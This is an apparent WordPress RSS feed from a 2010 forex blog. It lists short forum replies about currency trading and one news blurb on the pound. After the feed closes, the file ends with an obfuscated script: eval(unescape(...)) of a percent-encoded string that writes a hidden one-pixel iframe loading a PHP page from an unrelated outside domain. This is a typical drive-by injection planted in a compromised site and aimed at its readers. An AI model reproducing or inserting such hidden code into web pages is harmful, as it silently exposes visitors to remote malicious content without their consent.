<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Forex Investing Blog</title>
	<atom:link href="http://forexinvestingblog.info/feed/" rel="self" type="application/rss+xml" />
	<link>http://forexinvestingblog.info</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Thu, 29 Jul 2010 23:26:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Purple replies to: Cable Update (GBPUSD)</title>
		<link>http://forexinvestingblog.info/2010/07/29/purple-replies-to-cable-update-gbpusd-21/</link>
		<comments>http://forexinvestingblog.info/2010/07/29/purple-replies-to-cable-update-gbpusd-21/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 23:26:00 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=3909790#post3909790</guid>
		<description><![CDATA[If anyone has any self respect, he would show his own statement before even thinking of asking...]]></description>
			<content:encoded><![CDATA[If anyone has any self respect, he would show his own statement before even thinking of asking someone's else statement.]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/07/29/purple-replies-to-cable-update-gbpusd-21/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>steroidman replies to: Planetary Cycles Trading (EUR/USD)</title>
		<link>http://forexinvestingblog.info/2010/07/29/steroidman-replies-to-planetary-cycles-trading-eurusd-6/</link>
		<comments>http://forexinvestingblog.info/2010/07/29/steroidman-replies-to-planetary-cycles-trading-eurusd-6/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 23:25:57 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=3909789#post3909789</guid>
		<description><![CDATA[I do bioelectric steroids every day, have since I retired from playing pro.]]></description>
			<content:encoded><![CDATA[I do bioelectric steroids every day, have since I retired from playing pro.]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/07/29/steroidman-replies-to-planetary-cycles-trading-eurusd-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Patience replies to: EURUSD</title>
		<link>http://forexinvestingblog.info/2010/07/29/patience-replies-to-eurusd-8/</link>
		<comments>http://forexinvestingblog.info/2010/07/29/patience-replies-to-eurusd-8/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 23:23:15 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=3909785#post3909785</guid>
		<description><![CDATA[De nada. Just don't forget to name your workspaces and/or save your charts before you exit otherwise...]]></description>
			<content:encoded><![CDATA[De nada. Just don't forget to name your workspaces and/or save your charts before you exit otherwise they won't be there when you re-visit.]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/07/29/patience-replies-to-eurusd-8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>malcolmb14 replies to: vsa with Malcolm</title>
		<link>http://forexinvestingblog.info/2010/07/29/malcolmb14-replies-to-vsa-with-malcolm-112/</link>
		<comments>http://forexinvestingblog.info/2010/07/29/malcolmb14-replies-to-vsa-with-malcolm-112/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 23:15:00 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=3909774#post3909774</guid>
		<description><![CDATA[general thoughts on gu and eu this week is supplyt is being absorbed .. usd is going to be killed .....]]></description>
			<content:encoded><![CDATA[general thoughts on gu and eu this week is supplyt is being absorbed .. usd is going to be killed .. eu 1.3500 gu 1.5800 to 1.6000 ....
 
just taking time . note how this week all dips have been bought]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/07/29/malcolmb14-replies-to-vsa-with-malcolm-112/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>atate49 replies to: Cable 101</title>
		<link>http://forexinvestingblog.info/2010/07/29/atate49-replies-to-cable-101-3/</link>
		<comments>http://forexinvestingblog.info/2010/07/29/atate49-replies-to-cable-101-3/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 23:14:39 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=3909773#post3909773</guid>
		<description><![CDATA[Thanks!  it seems not every day is a winner but if we can win more than we lose then that equals a...]]></description>
			<content:encoded><![CDATA[Thanks!  it seems not every day is a winner but if we can win more than we lose then that equals a profit! Good luck to ya and we'll be profitable if we follow the plan.]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/07/29/atate49-replies-to-cable-101-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Countvonalti replies to: Spot FX Day Trader&#8217;s Thread</title>
		<link>http://forexinvestingblog.info/2010/07/29/countvonalti-replies-to-spot-fx-day-traders-thread-178/</link>
		<comments>http://forexinvestingblog.info/2010/07/29/countvonalti-replies-to-spot-fx-day-traders-thread-178/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 23:13:56 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=3909769#post3909769</guid>
		<description><![CDATA[There's still loads of youngsters laughing in the streets around Temple Bar, very vibrant place. I'm...]]></description>
			<content:encoded><![CDATA[There's still loads of youngsters laughing in the streets around Temple Bar, very vibrant place. I'm taking it easy tonight after last night! Looking at ej long around 11320 stop -20 t/p around 114]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/07/29/countvonalti-replies-to-spot-fx-day-traders-thread-178/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jazznos replies to: SFM &#8211; Trading Room</title>
		<link>http://forexinvestingblog.info/2010/07/29/jazznos-replies-to-sfm-trading-room-4/</link>
		<comments>http://forexinvestingblog.info/2010/07/29/jazznos-replies-to-sfm-trading-room-4/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 23:12:16 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=3909762#post3909762</guid>
		<description><![CDATA[My wife doesent trade but she sure loves pips!

Awesome work Simone this week - +366 was it? I wou...]]></description>
			<content:encoded><![CDATA[My wife doesent trade but she sure loves pips!

Awesome work Simone this week - +366 was it? I would be in heaven if I was pulling pips like that. Now all you need is to stick 100 minis on that and youll be a millionaire in no time! :dancing: 

Im still -42 i think. Didnt trade last night, looke...]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/07/29/jazznos-replies-to-sfm-trading-room-4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>cohiba pips replies to: Auslanco &#8211; GBP/JPY and GBP/USD (newstrade)</title>
		<link>http://forexinvestingblog.info/2010/07/29/cohiba-pips-replies-to-auslanco-gbpjpy-and-gbpusd-newstrade-27/</link>
		<comments>http://forexinvestingblog.info/2010/07/29/cohiba-pips-replies-to-auslanco-gbpjpy-and-gbpusd-newstrade-27/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 23:11:27 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=3909761#post3909761</guid>
		<description><![CDATA[starting to think uj will make a new low :shhh:

not a call or signal service here :embarrass

s...]]></description>
			<content:encoded><![CDATA[starting to think uj will make a new low :shhh:

not a call or signal service here :embarrass

still bearish cable boys]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/07/29/cohiba-pips-replies-to-auslanco-gbpjpy-and-gbpusd-newstrade-27/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>trigg replies to: EUR/JPY Anytime!</title>
		<link>http://forexinvestingblog.info/2010/07/29/trigg-replies-to-eurjpy-anytime-38/</link>
		<comments>http://forexinvestingblog.info/2010/07/29/trigg-replies-to-eurjpy-anytime-38/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 23:09:04 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=3909754#post3909754</guid>
		<description><![CDATA["If we look at 2009 for pairs such as the EUR/JPY, GBP/JPY, GBP/CHF, AUD/NZD, we see more ranging...]]></description>
			<content:encoded><![CDATA["If we look at 2009 for pairs such as the EUR/JPY, GBP/JPY, GBP/CHF, AUD/NZD, we see more ranging environments..."

http://www.investopedia.com/articles/forex/10/range-trade-without-usd.asp


"If a strategy depends on strong price breakouts or sustained momentum   to turn profits, it would likely un...]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/07/29/trigg-replies-to-eurjpy-anytime-38/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pound Could Falter As Risk Appetite and Interest Rate Expectations Stumble (source: Daily FX)</title>
		<link>http://forexinvestingblog.info/2010/07/29/pound-could-falter-as-risk-appetite-and-interest-rate-expectations-stumble-source-daily-fx/</link>
		<comments>http://forexinvestingblog.info/2010/07/29/pound-could-falter-as-risk-appetite-and-interest-rate-expectations-stumble-source-daily-fx/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 23:07:48 +0000</pubDate>
		<dc:creator>business / currencies forex news stories aggregated by FeedZilla.com</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">tag:www.feedzilla.com://1a28819c47ecbcc08e81053ed5532645</guid>
		<description><![CDATA[The Pound was boosted in early trading as the consumer credit report posted an unexpected 0.2B gain versus forecasts of a 0.1B decline. However, a sharp reversal in equity markets quickly erased the GBP/USD's advance as the pair continues to be driven by r... (source: Daily FX) - <a href="http://www.feedzilla.com/r/share.asp?c=2A3C226DE549B9669328C1D8FFDA9ABBEAAAF62F&#38;n=t&#38;t=Pound%20Could%20Falter%20As%20Risk%20Appetite%20and%20Interest%20Rate%20Expectations%20Stumble" title="Click to share this article on Twitter">Share on Twitter</a> - <a href="http://www.feedzilla.com/r/share.asp?c=2A3C226DE549B9669328C1D8FFDA9ABBEAAAF62F&#38;n=f&#38;t=Pound%20Could%20Falter%20As%20Risk%20Appetite%20and%20Interest%20Rate%20Expectations%20Stumble" title="Click to share this article on Facebook">Share on Facebook</a> - <a href='http://www.feedzilla.com/rss.asp'>RSS feeds</a> and <a href='http://www.feedzilla.com/free_news_widgets.asp'>Widgets</a>  on <a href='http://www.feedzilla.com/'>Feedzilla.com</a> ]]></description>
			<content:encoded><![CDATA[The Pound was boosted in early trading as the consumer credit report posted an unexpected 0.2B gain versus forecasts of a 0.1B decline. However, a sharp reversal in equity markets quickly erased the GBP/USD's advance as the pair continues to be driven by r... (source: Daily FX) - <a href="http://www.feedzilla.com/r/share.asp?c=2A3C226DE549B9669328C1D8FFDA9ABBEAAAF62F&n=t&t=Pound%20Could%20Falter%20As%20Risk%20Appetite%20and%20Interest%20Rate%20Expectations%20Stumble" title="Click to share this article on Twitter">Share on Twitter</a> - <a href="http://www.feedzilla.com/r/share.asp?c=2A3C226DE549B9669328C1D8FFDA9ABBEAAAF62F&n=f&t=Pound%20Could%20Falter%20As%20Risk%20Appetite%20and%20Interest%20Rate%20Expectations%20Stumble" title="Click to share this article on Facebook">Share on Facebook</a> - <a href='http://www.feedzilla.com/rss.asp'>RSS feeds</a> and <a href='http://www.feedzilla.com/free_news_widgets.asp'>Widgets</a>  on <a href='http://www.feedzilla.com/'>Feedzilla.com</a> ]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/07/29/pound-could-falter-as-risk-appetite-and-interest-rate-expectations-stumble-source-daily-fx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.513 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-07-29 16:55:28 -->
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>